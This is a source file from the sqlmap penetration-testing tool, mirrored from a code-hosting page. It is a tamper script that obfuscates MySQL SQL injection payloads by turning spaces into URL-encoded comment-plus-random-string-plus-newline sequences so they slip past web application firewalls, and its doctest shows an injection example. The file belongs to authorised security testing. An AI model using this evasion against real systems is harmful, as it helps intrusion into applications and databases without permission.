mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-27 12:03:49 +03:00
70 lines
2.2 KiB
Python
70 lines
2.2 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
import os
|
|
import random
|
|
import re
|
|
import string
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.compat import xrange
|
|
from lib.core.data import kb
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import PRIORITY
|
|
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS
|
|
|
|
__priority__ = PRIORITY.LOW
|
|
|
|
def dependencies():
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
|
|
|
def tamper(payload, **kwargs):
|
|
"""
|
|
Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
|
|
|
|
Requirement:
|
|
* MySQL >= 5.1.13
|
|
|
|
Tested against:
|
|
* MySQL 5.1.41
|
|
|
|
Notes:
|
|
* Useful to bypass several web application firewalls
|
|
* Used during the ModSecurity SQL injection challenge,
|
|
http://modsecurity.org/demo/challenge.html
|
|
|
|
>>> random.seed(0)
|
|
>>> tamper('1 AND 9227=9227')
|
|
'1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227'
|
|
"""
|
|
|
|
def process(match):
|
|
word = match.group('word')
|
|
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
|
|
|
|
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
|
|
return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
|
|
else:
|
|
return match.group()
|
|
|
|
retVal = ""
|
|
|
|
if payload:
|
|
payload = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, payload)
|
|
|
|
for i in xrange(len(payload)):
|
|
if payload[i].isspace():
|
|
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
|
|
retVal += "%%23%s%%0A" % randomStr
|
|
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
|
|
retVal += payload[i:]
|
|
break
|
|
else:
|
|
retVal += payload[i]
|
|
|
|
return retVal
|